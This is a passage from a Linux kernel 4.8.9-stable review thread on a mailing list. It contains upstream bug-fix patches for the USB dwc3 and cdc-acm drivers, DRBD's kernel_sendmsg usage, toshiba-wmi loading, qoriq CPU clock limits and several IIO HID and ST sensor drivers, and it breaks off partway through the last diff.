Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 drivers/usb/dwc3/core.c |    5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

--- a/drivers/usb/dwc3/core.c
+++ b/drivers/usb/dwc3/core.c
@@ -669,15 +669,14 @@ static int dwc3_core_init(struct dwc3 *d
 	return 0;
 
 err4:
-	phy_power_off(dwc->usb2_generic_phy);
+	phy_power_off(dwc->usb3_generic_phy);
 
 err3:
-	phy_power_off(dwc->usb3_generic_phy);
+	phy_power_off(dwc->usb2_generic_phy);
 
 err2:
 	usb_phy_set_suspend(dwc->usb2_phy, 1);
 	usb_phy_set_suspend(dwc->usb3_phy, 1);
-	dwc3_core_exit(dwc);
 
 err1:
 	usb_phy_shutdown(dwc->usb2_phy);

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 28/92] USB: cdc-acm: fix TIOCMIWAIT
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (25 preceding siblings ...)
  2016-11-17 10:32   ` [PATCH 4.8 27/92] usb: dwc3: Fix error handling for core init Greg Kroah-Hartman
@ 2016-11-17 10:32   ` Greg Kroah-Hartman
  2016-11-17 10:32   ` [PATCH 4.8 30/92] drbd: Fix kernel_sendmsg() usage - potential NULL deref Greg Kroah-Hartman
                     ` (52 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:32 UTC (permalink / raw)
  To: linux-kernel; +Cc: Greg Kroah-Hartman, stable, Johan Hovold, Oliver Neukum

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Johan Hovold <johan@kernel.org>

commit 18266403f3fe507f0246faa1d5432333a2f139ca upstream.

The TIOCMIWAIT implementation would return -EINVAL if any of the three
supported signals were included in the mask.

Instead of returning an error in case TIOCM_CTS is included, simply
drop the mask check completely, which is in accordance with how other
drivers implement this ioctl.

Fixes: 5a6a62bdb925 ("cdc-acm: add TIOCMIWAIT")
Signed-off-by: Johan Hovold <johan@kernel.org>
Acked-by: Oliver Neukum <oneukum@suse.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 drivers/usb/class/cdc-acm.c |    2 --
 1 file changed, 2 deletions(-)

--- a/drivers/usb/class/cdc-acm.c
+++ b/drivers/usb/class/cdc-acm.c
@@ -946,8 +946,6 @@ static int wait_serial_change(struct acm
 	DECLARE_WAITQUEUE(wait, current);
 	struct async_icount old, new;
 
-	if (arg & (TIOCM_DSR | TIOCM_RI | TIOCM_CD))
-		return -EINVAL;
 	do {
 		spin_lock_irq(&acm->read_lock);
 		old = acm->oldcount;

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 30/92] drbd: Fix kernel_sendmsg() usage - potential NULL deref
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (26 preceding siblings ...)
  2016-11-17 10:32   ` [PATCH 4.8 28/92] USB: cdc-acm: fix TIOCMIWAIT Greg Kroah-Hartman
@ 2016-11-17 10:32   ` Greg Kroah-Hartman
  2016-11-17 10:32   ` [PATCH 4.8 31/92] toshiba-wmi: Fix loading the driver on non Toshiba laptops Greg Kroah-Hartman
                     ` (51 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:32 UTC (permalink / raw)
  To: linux-kernel
  Cc: Greg Kroah-Hartman, stable, viro, christoph.lechleitner,
	wolfgang.glas, Richard Weinberger, Lars Ellenberg, Jens Axboe

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Richard Weinberger <richard@nod.at>

commit d8e9e5e80e882b4f90cba7edf1e6cb7376e52e54 upstream.

Don't pass a size larger than iov_len to kernel_sendmsg().
Otherwise it will cause a NULL pointer deref when kernel_sendmsg()
returns with rv < size.

DRBD as external module has been around in the kernel 2.4 days already.
We used to be compatible to 2.4 and very early 2.6 kernels,
we used to use
 rv = sock_sendmsg(sock, &msg, iov.iov_len);
then later changed to
 rv = kernel_sendmsg(sock, &msg, &iov, 1, size);
when we should have used
 rv = kernel_sendmsg(sock, &msg, &iov, 1, iov.iov_len);

tcp_sendmsg() used to totally ignore the size parameter.
 57be5bd ip: convert tcp_sendmsg() to iov_iter primitives
changes that, and exposes our long standing error.

Even with this error exposed, to trigger the bug, we would need to have
an environment (config or otherwise) causing us to not use sendpage()
for larger transfers, a failing connection, and have it fail "just at the
right time".  Apparently that was unlikely enough for most, so this went
unnoticed for years.

Still, it is known to trigger at least some of these,
and suspected for the others:
[0] http://lists.linbit.com/pipermail/drbd-user/2016-July/023112.html
[1] http://lists.linbit.com/pipermail/drbd-dev/2016-March/003362.html
[2] https://forums.grsecurity.net/viewtopic.php?f=3&t=4546
[3] https://ubuntuforums.org/showthread.php?t=2336150
[4] http://e2.howsolveproblem.com/i/1175162/

This should go into 4.9,
and into all stable branches since and including v4.0,
which is the first to contain the exposing change.

It is correct for all stable branches older than that as well
(which contain the DRBD driver; which is 2.6.33 and up).

It requires a small "conflict" resolution for v4.4 and earlier, with v4.5
we dropped the comment block immediately preceding the kernel_sendmsg().

Fixes: b411b3637fa7 ("The DRBD driver")
Cc: viro@zeniv.linux.org.uk
Cc: christoph.lechleitner@iteg.at
Cc: wolfgang.glas@iteg.at
Reported-by: Christoph Lechleitner <christoph.lechleitner@iteg.at>
Tested-by: Christoph Lechleitner <christoph.lechleitner@iteg.at>
Signed-off-by: Richard Weinberger <richard@nod.at>
[changed oneliner to be "obvious" without context; more verbose message]
Signed-off-by: Lars Ellenberg <lars.ellenberg@linbit.com>
Signed-off-by: Jens Axboe <axboe@fb.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 drivers/block/drbd/drbd_main.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- a/drivers/block/drbd/drbd_main.c
+++ b/drivers/block/drbd/drbd_main.c
@@ -1871,7 +1871,7 @@ int drbd_send(struct drbd_connection *co
 		drbd_update_congested(connection);
 	}
 	do {
-		rv = kernel_sendmsg(sock, &msg, &iov, 1, size);
+		rv = kernel_sendmsg(sock, &msg, &iov, 1, iov.iov_len);
 		if (rv == -EAGAIN) {
 			if (we_should_drop_the_connection(connection, sock))
 				break;

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 31/92] toshiba-wmi: Fix loading the driver on non Toshiba laptops
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (27 preceding siblings ...)
  2016-11-17 10:32   ` [PATCH 4.8 30/92] drbd: Fix kernel_sendmsg() usage - potential NULL deref Greg Kroah-Hartman
@ 2016-11-17 10:32   ` Greg Kroah-Hartman
  2016-11-17 10:32   ` [PATCH 4.8 32/92] clk: qoriq: Dont allow CPU clocks higher than starting value Greg Kroah-Hartman
                     ` (50 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:32 UTC (permalink / raw)
  To: linux-kernel; +Cc: Greg Kroah-Hartman, stable, Azael Avalos, Darren Hart

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Azael Avalos <coproscefalo@gmail.com>

commit 1c80e9603fe8341ed5bea696747d07083d5e0476 upstream.

Bug 150611 uncovered that the WMI ID used by the toshiba-wmi driver
is not Toshiba specific, and as such, the driver was being loaded
on non Toshiba laptops too.

This patch adds a DMI matching list checking for TOSHIBA as the
vendor, refusing to load if it is not.

Also the WMI GUID was renamed, dropping the TOSHIBA_ prefix, to
better reflect that such GUID is not a Toshiba specific one.

Signed-off-by: Azael Avalos <coproscefalo@gmail.com>
Signed-off-by: Darren Hart <dvhart@linux.intel.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 drivers/platform/x86/toshiba-wmi.c |   26 +++++++++++++++++++-------
 1 file changed, 19 insertions(+), 7 deletions(-)

--- a/drivers/platform/x86/toshiba-wmi.c
+++ b/drivers/platform/x86/toshiba-wmi.c
@@ -24,14 +24,15 @@
 #include <linux/acpi.h>
 #include <linux/input.h>
 #include <linux/input/sparse-keymap.h>
+#include <linux/dmi.h>
 
 MODULE_AUTHOR("Azael Avalos");
 MODULE_DESCRIPTION("Toshiba WMI Hotkey Driver");
 MODULE_LICENSE("GPL");
 
-#define TOSHIBA_WMI_EVENT_GUID	"59142400-C6A3-40FA-BADB-8A2652834100"
+#define WMI_EVENT_GUID	"59142400-C6A3-40FA-BADB-8A2652834100"
 
-MODULE_ALIAS("wmi:"TOSHIBA_WMI_EVENT_GUID);
+MODULE_ALIAS("wmi:"WMI_EVENT_GUID);
 
 static struct input_dev *toshiba_wmi_input_dev;
 
@@ -63,6 +64,16 @@ static void toshiba_wmi_notify(u32 value
 	kfree(response.pointer);
 }
 
+static struct dmi_system_id toshiba_wmi_dmi_table[] __initdata = {
+	{
+		.ident = "Toshiba laptop",
+		.matches = {
+			DMI_MATCH(DMI_SYS_VENDOR, "TOSHIBA"),
+		},
+	},
+	{}
+};
+
 static int __init toshiba_wmi_input_setup(void)
 {
 	acpi_status status;
@@ -81,7 +92,7 @@ static int __init toshiba_wmi_input_setu
 	if (err)
 		goto err_free_dev;
 
-	status = wmi_install_notify_handler(TOSHIBA_WMI_EVENT_GUID,
+	status = wmi_install_notify_handler(WMI_EVENT_GUID,
 					    toshiba_wmi_notify, NULL);
 	if (ACPI_FAILURE(status)) {
 		err = -EIO;
@@ -95,7 +106,7 @@ static int __init toshiba_wmi_input_setu
 	return 0;
 
  err_remove_notifier:
-	wmi_remove_notify_handler(TOSHIBA_WMI_EVENT_GUID);
+	wmi_remove_notify_handler(WMI_EVENT_GUID);
  err_free_keymap:
 	sparse_keymap_free(toshiba_wmi_input_dev);
  err_free_dev:
@@ -105,7 +116,7 @@ static int __init toshiba_wmi_input_setu
 
 static void toshiba_wmi_input_destroy(void)
 {
-	wmi_remove_notify_handler(TOSHIBA_WMI_EVENT_GUID);
+	wmi_remove_notify_handler(WMI_EVENT_GUID);
 	sparse_keymap_free(toshiba_wmi_input_dev);
 	input_unregister_device(toshiba_wmi_input_dev);
 }
@@ -114,7 +125,8 @@ static int __init toshiba_wmi_init(void)
 {
 	int ret;
 
-	if (!wmi_has_guid(TOSHIBA_WMI_EVENT_GUID))
+	if (!wmi_has_guid(WMI_EVENT_GUID) ||
+	    !dmi_check_system(toshiba_wmi_dmi_table))
 		return -ENODEV;
 
 	ret = toshiba_wmi_input_setup();
@@ -130,7 +142,7 @@ static int __init toshiba_wmi_init(void)
 
 static void __exit toshiba_wmi_exit(void)
 {
-	if (wmi_has_guid(TOSHIBA_WMI_EVENT_GUID))
+	if (wmi_has_guid(WMI_EVENT_GUID))
 		toshiba_wmi_input_destroy();
 }
 

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 32/92] clk: qoriq: Dont allow CPU clocks higher than starting value
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (28 preceding siblings ...)
  2016-11-17 10:32   ` [PATCH 4.8 31/92] toshiba-wmi: Fix loading the driver on non Toshiba laptops Greg Kroah-Hartman
@ 2016-11-17 10:32   ` Greg Kroah-Hartman
  2016-11-17 10:32   ` [PATCH 4.8 33/92] cdc-acm: fix uninitialized variable Greg Kroah-Hartman
                     ` (49 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:32 UTC (permalink / raw)
  To: linux-kernel; +Cc: Greg Kroah-Hartman, stable, Scott Wood, Stephen Boyd

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Scott Wood <oss@buserror.net>

commit 7c1c5413a7bdf1c9adc8d979521f1b8286366aef upstream.

The boot-time frequency of a CPU is considered its rated maximum, as we
have no other source of such information.  However, this was previously
only used for chips with 80% restrictions on secondary PLLs.  This
usually wasn't a problem because most chips/configs boot with a divider
of /1, with other dividers being used only for dynamic frequency
reduction.  However, at least one config (LS1021A at less than 1 GHz)
uses a different divider for top speed.  This was causing cpufreq to set
a frequency beyond the chip's rated speed.

This is fixed by applying a 100%-of-initial-speed limit to all CPU PLLs,
similar to the existing 80% limit that only applied to some.

Signed-off-by: Scott Wood <oss@buserror.net>
Signed-off-by: Stephen Boyd <sboyd@codeaurora.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 drivers/clk/clk-qoriq.c |   13 ++++++++-----
 1 file changed, 8 insertions(+), 5 deletions(-)

--- a/drivers/clk/clk-qoriq.c
+++ b/drivers/clk/clk-qoriq.c
@@ -700,6 +700,7 @@ static struct clk * __init create_mux_co
 					     struct mux_hwclock *hwc,
 					     const struct clk_ops *ops,
 					     unsigned long min_rate,
+					     unsigned long max_rate,
 					     unsigned long pct80_rate,
 					     const char *fmt, int idx)
 {
@@ -728,6 +729,8 @@ static struct clk * __init create_mux_co
 			continue;
 		if (rate < min_rate)
 			continue;
+		if (rate > max_rate)
+			continue;
 
 		parent_names[j] = div->name;
 		hwc->parent_to_clksel[j] = i;
@@ -759,7 +762,7 @@ static struct clk * __init create_one_cm
 	struct mux_hwclock *hwc;
 	const struct clockgen_pll_div *div;
 	unsigned long plat_rate, min_rate;
-	u64 pct80_rate;
+	u64 max_rate, pct80_rate;
 	u32 clksel;
 
 	hwc = kzalloc(sizeof(*hwc), GFP_KERNEL);
@@ -787,8 +790,8 @@ static struct clk * __init create_one_cm
 		return NULL;
 	}
 
-	pct80_rate = clk_get_rate(div->clk);
-	pct80_rate *= 8;
+	max_rate = clk_get_rate(div->clk);
+	pct80_rate = max_rate * 8;
 	do_div(pct80_rate, 10);
 
 	plat_rate = clk_get_rate(cg->pll[PLATFORM_PLL].div[PLL_DIV1].clk);
@@ -798,7 +801,7 @@ static struct clk * __init create_one_cm
 	else
 		min_rate = plat_rate / 2;
 
-	return create_mux_common(cg, hwc, &cmux_ops, min_rate,
+	return create_mux_common(cg, hwc, &cmux_ops, min_rate, max_rate,
 				 pct80_rate, "cg-cmux%d", idx);
 }
 
@@ -813,7 +816,7 @@ static struct clk * __init create_one_hw
 	hwc->reg = cg->regs + 0x20 * idx + 0x10;
 	hwc->info = cg->info.hwaccel[idx];
 
-	return create_mux_common(cg, hwc, &hwaccel_ops, 0, 0,
+	return create_mux_common(cg, hwc, &hwaccel_ops, 0, ULONG_MAX, 0,
 				 "cg-hwaccel%d", idx);
 }
 

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 33/92] cdc-acm: fix uninitialized variable
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (29 preceding siblings ...)
  2016-11-17 10:32   ` [PATCH 4.8 32/92] clk: qoriq: Dont allow CPU clocks higher than starting value Greg Kroah-Hartman
@ 2016-11-17 10:32   ` Greg Kroah-Hartman
  2016-11-17 10:32   ` [PATCH 4.8 34/92] iio: hid-sensors: Increase the precision of scale to fix wrong reading interpretation Greg Kroah-Hartman
                     ` (48 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:32 UTC (permalink / raw)
  To: linux-kernel; +Cc: Greg Kroah-Hartman, stable, Oliver Neukum, Victor Sologoubov

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Oliver Neukum <oneukum@suse.com>

commit 7309aa847ead3fa561663b16779a0dde8c64cc7c upstream.

variable struct usb_cdc_parsed_header h may be used
uninitialized in acm_probe.

In kernel 4.8.

    /* handle quirks deadly to normal probing*/
    if (quirks == NO_UNION_NORMAL)

        ...

        goto skip_normal_probe;
    }

we bypass call to

    cdc_parse_cdc_header(&h, intf, buffer, buflen);

but later use h in

    if (h.usb_cdc_country_functional_desc) { /* export the country data */

Signed-off-by: Oliver Neukum <oneukum@suse.com>
Reported-by: Victor Sologoubov <victor0@rambler.ru>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 drivers/usb/class/cdc-acm.c |    2 ++
 1 file changed, 2 insertions(+)

--- a/drivers/usb/class/cdc-acm.c
+++ b/drivers/usb/class/cdc-acm.c
@@ -1173,6 +1173,8 @@ static int acm_probe(struct usb_interfac
 	if (quirks == IGNORE_DEVICE)
 		return -ENODEV;
 
+	memset(&h, 0x00, sizeof(struct usb_cdc_parsed_header));
+
 	num_rx_buf = (quirks == SINGLE_RX_URB) ? 1 : ACM_NR;
 
 	/* handle quirks deadly to normal probing*/

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 34/92] iio: hid-sensors: Increase the precision of scale to fix wrong reading interpretation.
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (30 preceding siblings ...)
  2016-11-17 10:32   ` [PATCH 4.8 33/92] cdc-acm: fix uninitialized variable Greg Kroah-Hartman
@ 2016-11-17 10:32   ` Greg Kroah-Hartman
  2016-11-17 10:32   ` [PATCH 4.8 35/92] iio: orientation: hid-sensor-rotation: Add PM function (fix non working driver) Greg Kroah-Hartman
                     ` (47 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:32 UTC (permalink / raw)
  To: linux-kernel
  Cc: Greg Kroah-Hartman, stable, Song Hongyan, Srinivas Pandruvada,
	Jonathan Cameron

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Song Hongyan <hongyan.song@intel.com>

commit 6f77199e9e4b84340c751c585691d7642a47d226 upstream.

While testing, it was observed that on some platforms the scale value
from iio sysfs for gyroscope is always 0 (E.g. Yoga 260). This results
in the final angular velocity component values to be zeros.

This is caused by insufficient precision of scale value displayed in sysfs.
If the precision is changed to nano from current micro, then this is
sufficient to display the scale value on this platform.
Since this can be a problem for all other HID sensors, increase scale
precision of all HID sensors to nano from current micro.

Results on Yoga 260:

name		scale before	scale now
--------------------------------------------
gyro_3d		0.000000	0.000000174
als			0.001000	0.001000000
magn_3d		0.000001	0.000001000
accel_3d		0.000009	0.000009806

Signed-off-by: Song Hongyan <hongyan.song@intel.com>
Acked-by: Srinivas Pandruvada <srinivas.pandruvada@linux.intel.com>
Signed-off-by: Jonathan Cameron <jic23@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 drivers/iio/common/hid-sensors/hid-sensor-attributes.c |   56 ++++++++---------
 1 file changed, 28 insertions(+), 28 deletions(-)

--- a/drivers/iio/common/hid-sensors/hid-sensor-attributes.c
+++ b/drivers/iio/common/hid-sensors/hid-sensor-attributes.c
@@ -30,26 +30,26 @@ static struct {
 	u32 usage_id;
 	int unit; /* 0 for default others from HID sensor spec */
 	int scale_val0; /* scale, whole number */
-	int scale_val1; /* scale, fraction in micros */
+	int scale_val1; /* scale, fraction in nanos */
 } unit_conversion[] = {
-	{HID_USAGE_SENSOR_ACCEL_3D, 0, 9, 806650},
+	{HID_USAGE_SENSOR_ACCEL_3D, 0, 9, 806650000},
 	{HID_USAGE_SENSOR_ACCEL_3D,
 		HID_USAGE_SENSOR_UNITS_METERS_PER_SEC_SQRD, 1, 0},
 	{HID_USAGE_SENSOR_ACCEL_3D,
-		HID_USAGE_SENSOR_UNITS_G, 9, 806650},
+		HID_USAGE_SENSOR_UNITS_G, 9, 806650000},
 
-	{HID_USAGE_SENSOR_GYRO_3D, 0, 0, 17453},
+	{HID_USAGE_SENSOR_GYRO_3D, 0, 0, 17453293},
 	{HID_USAGE_SENSOR_GYRO_3D,
 		HID_USAGE_SENSOR_UNITS_RADIANS_PER_SECOND, 1, 0},
 	{HID_USAGE_SENSOR_GYRO_3D,
-		HID_USAGE_SENSOR_UNITS_DEGREES_PER_SECOND, 0, 17453},
+		HID_USAGE_SENSOR_UNITS_DEGREES_PER_SECOND, 0, 17453293},
 
-	{HID_USAGE_SENSOR_COMPASS_3D, 0, 0, 1000},
+	{HID_USAGE_SENSOR_COMPASS_3D, 0, 0, 1000000},
 	{HID_USAGE_SENSOR_COMPASS_3D, HID_USAGE_SENSOR_UNITS_GAUSS, 1, 0},
 
-	{HID_USAGE_SENSOR_INCLINOMETER_3D, 0, 0, 17453},
+	{HID_USAGE_SENSOR_INCLINOMETER_3D, 0, 0, 17453293},
 	{HID_USAGE_SENSOR_INCLINOMETER_3D,
-		HID_USAGE_SENSOR_UNITS_DEGREES, 0, 17453},
+		HID_USAGE_SENSOR_UNITS_DEGREES, 0, 17453293},
 	{HID_USAGE_SENSOR_INCLINOMETER_3D,
 		HID_USAGE_SENSOR_UNITS_RADIANS, 1, 0},
 
@@ -57,7 +57,7 @@ static struct {
 	{HID_USAGE_SENSOR_ALS, HID_USAGE_SENSOR_UNITS_LUX, 1, 0},
 
 	{HID_USAGE_SENSOR_PRESSURE, 0, 100, 0},
-	{HID_USAGE_SENSOR_PRESSURE, HID_USAGE_SENSOR_UNITS_PASCAL, 0, 1000},
+	{HID_USAGE_SENSOR_PRESSURE, HID_USAGE_SENSOR_UNITS_PASCAL, 0, 1000000},
 };
 
 static int pow_10(unsigned power)
@@ -266,15 +266,15 @@ EXPORT_SYMBOL(hid_sensor_write_raw_hyst_
 /*
  * This fuction applies the unit exponent to the scale.
  * For example:
- * 9.806650 ->exp:2-> val0[980]val1[665000]
- * 9.000806 ->exp:2-> val0[900]val1[80600]
- * 0.174535 ->exp:2-> val0[17]val1[453500]
- * 1.001745 ->exp:0-> val0[1]val1[1745]
- * 1.001745 ->exp:2-> val0[100]val1[174500]
- * 1.001745 ->exp:4-> val0[10017]val1[450000]
- * 9.806650 ->exp:-2-> val0[0]val1[98066]
+ * 9.806650000 ->exp:2-> val0[980]val1[665000000]
+ * 9.000806000 ->exp:2-> val0[900]val1[80600000]
+ * 0.174535293 ->exp:2-> val0[17]val1[453529300]
+ * 1.001745329 ->exp:0-> val0[1]val1[1745329]
+ * 1.001745329 ->exp:2-> val0[100]val1[174532900]
+ * 1.001745329 ->exp:4-> val0[10017]val1[453290000]
+ * 9.806650000 ->exp:-2-> val0[0]val1[98066500]
  */
-static void adjust_exponent_micro(int *val0, int *val1, int scale0,
+static void adjust_exponent_nano(int *val0, int *val1, int scale0,
 				  int scale1, int exp)
 {
 	int i;
@@ -285,32 +285,32 @@ static void adjust_exponent_micro(int *v
 	if (exp > 0) {
 		*val0 = scale0 * pow_10(exp);
 		res = 0;
-		if (exp > 6) {
+		if (exp > 9) {
 			*val1 = 0;
 			return;
 		}
 		for (i = 0; i < exp; ++i) {
-			x = scale1 / pow_10(5 - i);
+			x = scale1 / pow_10(8 - i);
 			res += (pow_10(exp - 1 - i) * x);
-			scale1 = scale1 % pow_10(5 - i);
+			scale1 = scale1 % pow_10(8 - i);
 		}
 		*val0 += res;
 			*val1 = scale1 * pow_10(exp);
 	} else if (exp < 0) {
 		exp = abs(exp);
-		if (exp > 6) {
+		if (exp > 9) {
 			*val0 = *val1 = 0;
 			return;
 		}
 		*val0 = scale0 / pow_10(exp);
 		rem = scale0 % pow_10(exp);
 		res = 0;
-		for (i = 0; i < (6 - exp); ++i) {
-			x = scale1 / pow_10(5 - i);
-			res += (pow_10(5 - exp - i) * x);
-			scale1 = scale1 % pow_10(5 - i);
+		for (i = 0; i < (9 - exp); ++i) {
+			x = scale1 / pow_10(8 - i);
+			res += (pow_10(8 - exp - i) * x);
+			scale1 = scale1 % pow_10(8 - i);
 		}
-		*val1 = rem * pow_10(6 - exp) + res;
+		*val1 = rem * pow_10(9 - exp) + res;
 	} else {
 		*val0 = scale0;
 		*val1 = scale1;
@@ -332,14 +332,14 @@ int hid_sensor_format_scale(u32 usage_id
 			unit_conversion[i].unit == attr_info->units) {
 			exp  = hid_sensor_convert_exponent(
 						attr_info->unit_expo);
-			adjust_exponent_micro(val0, val1,
+			adjust_exponent_nano(val0, val1,
 					unit_conversion[i].scale_val0,
 					unit_conversion[i].scale_val1, exp);
 			break;
 		}
 	}
 
-	return IIO_VAL_INT_PLUS_MICRO;
+	return IIO_VAL_INT_PLUS_NANO;
 }
 EXPORT_SYMBOL(hid_sensor_format_scale);
 

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 35/92] iio: orientation: hid-sensor-rotation: Add PM function (fix non working driver)
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (31 preceding siblings ...)
  2016-11-17 10:32   ` [PATCH 4.8 34/92] iio: hid-sensors: Increase the precision of scale to fix wrong reading interpretation Greg Kroah-Hartman
@ 2016-11-17 10:32   ` Greg Kroah-Hartman
  2016-11-17 10:32   ` [PATCH 4.8 36/92] iio: st_sensors: fix scale configuration for h3lis331dl Greg Kroah-Hartman
                     ` (46 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:32 UTC (permalink / raw)
  To: linux-kernel; +Cc: Greg Kroah-Hartman, stable, Song Hongyan, Jonathan Cameron

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Song Hongyan <hongyan.song@intel.com>

commit 8af644a7d6846f48d6b72be5d4a3c6eb16bd33c8 upstream.

This fix makes newer ISH hubs work. Previous ones worked by lucky
coincidence.

Rotation sensor function does not work due to miss PM function.
Add common hid sensor iio pm function for rotation sensor.

Further clarification from Srinivas:

If CONFIG_PM is not defined, then this prevents this sensor to
function. So above commit caused this.

This sensor was supposed to be always on to trigger wake up in prior
external hubs. But with the new ISH hub this is not the case.

Signed-off-by: Song Hongyan <hongyan.song@intel.com>
Fixes: 2b89635e9a9e ("iio: hid_sensor_hub: Common PM functions")
Signed-off-by: Jonathan Cameron <jic23@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 drivers/iio/orientation/hid-sensor-rotation.c |    1 +
 1 file changed, 1 insertion(+)

--- a/drivers/iio/orientation/hid-sensor-rotation.c
+++ b/drivers/iio/orientation/hid-sensor-rotation.c
@@ -335,6 +335,7 @@ static struct platform_driver hid_dev_ro
 	.id_table = hid_dev_rot_ids,
 	.driver = {
 		.name	= KBUILD_MODNAME,
+		.pm     = &hid_sensor_pm_ops,
 	},
 	.probe		= hid_dev_rot_probe,
 	.remove		= hid_dev_rot_remove,

^ permalink raw reply	[flat|nested] 83+ messages in thread

* [PATCH 4.8 36/92] iio: st_sensors: fix scale configuration for h3lis331dl
  2016-11-17 10:31 ` [PATCH 4.8 00/92] 4.8.9-stable review Greg Kroah-Hartman
                     ` (32 preceding siblings ...)
  2016-11-17 10:32   ` [PATCH 4.8 35/92] iio: orientation: hid-sensor-rotation: Add PM function (fix non working driver) Greg Kroah-Hartman
@ 2016-11-17 10:32   ` Greg Kroah-Hartman
  2016-11-17 10:32   ` [PATCH 4.8 37/92] scsi: qla2xxx: Fix scsi scan hang triggered if adapter fails during init Greg Kroah-Hartman
                     ` (45 subsequent siblings)
  79 siblings, 0 replies; 83+ messages in thread
From: Greg Kroah-Hartman @ 2016-11-17 10:32 UTC (permalink / raw)
  To: linux-kernel
  Cc: Greg Kroah-Hartman, stable, Lorenzo Bianconi, Jonathan Cameron

4.8-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Lorenzo Bianconi <lorenzo.bianconi83@gmail.com>

commit d304286abbbe7ed6228a553a56ba054e900907eb upstream.

fix scale configuration/parsing for h3lis331dl accel driver
when sensitivity is higher than 1(m/s^2)/digit

Signed-off-by: Lorenzo Bianconi <lorenzo.bianconi@st.com>
Fixes: 1e52fefc9b0c ("iio: accel: Add support for the h3lis331dl accelerometer")
Signed-off-by: Jonathan Cameron <jic23@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 drivers/iio/accel/st_accel_core.c               |   12 ++++++++----
 drivers/iio/common/st_sensors/st_sensors_core.c |    8 +++++---
 2 files changed, 13 insertions(+), 7 deletions(-)

--- a/drivers/iio/accel/st_accel_core.c
+++ b/drivers/iio/accel/st_accel_core.c
@@ -743,8 +743,8 @@ static int st_accel_read_raw(struct iio_
 
 		return IIO_VAL_INT;
 	case IIO_CHAN_INFO_SCALE:
-		*val = 0;
-		*val2 = adata->current_fullscale->gain;
+		*val = adata->current_fullscale->gain / 1000000;
+		*val2 = adata->current_fullscale->gain % 1000000;
 		return IIO_VAL_INT_PLUS_MICRO;
 	case IIO_CHAN_INFO_SAMP_FREQ:
 		*val = adata->odr;
@@ -763,9 +763,13 @@ static int st_accel_write_raw(struct iio
 	int err;
 
 	switch (mask) {
-	case IIO_CHAN_INFO_SCALE:
-		err = st_sensors_set_fullscale_by_gain(indio_dev, val2);
+	case IIO_CHAN_INFO_SCALE: {
+		int gain;
+
+		gain = val * 1000000 + val2;
+		err = st_sensors_set_fullscale_by_gain(indio_dev, gain);
 		break;
+	}
 	case IIO_CHAN_INFO_SAMP_FREQ:
 		if (val2)
 			return -EINVAL;
--- a/drivers/iio/common/st_sensors/st_sensors_core.c
+++ b/drivers/iio/common/st_sensors/st_sensors_core.c
@@ -619,7 +619,7 @@ EXPORT_SYMBOL(st_sensors_sysfs_sampling_
 ssize_t st_sensors_sysfs_scale_avail(struct device *dev,
 				struct device_attribute *attr, char *buf)
 {
-	int i, len = 0;
+	int i, len = 0, q, r;
 	struct iio_dev *indio_dev = dev_get_drvdata(dev);
 	struct st_sensor_data *sdata = iio_priv(indio_dev);
 
@@ -628,8 +628,10 @@ ssize_t st_sensors_sysfs_scale_avail(str
 		if (sdata->sensor_settings->fs.fs_avl[i].num == 0)
 			break;
 
-		len += scnprintf(buf + len, PAGE_SIZE - len, "0.%06u ",
-				sdata->sensor_settings->fs.fs_avl[i].gain);
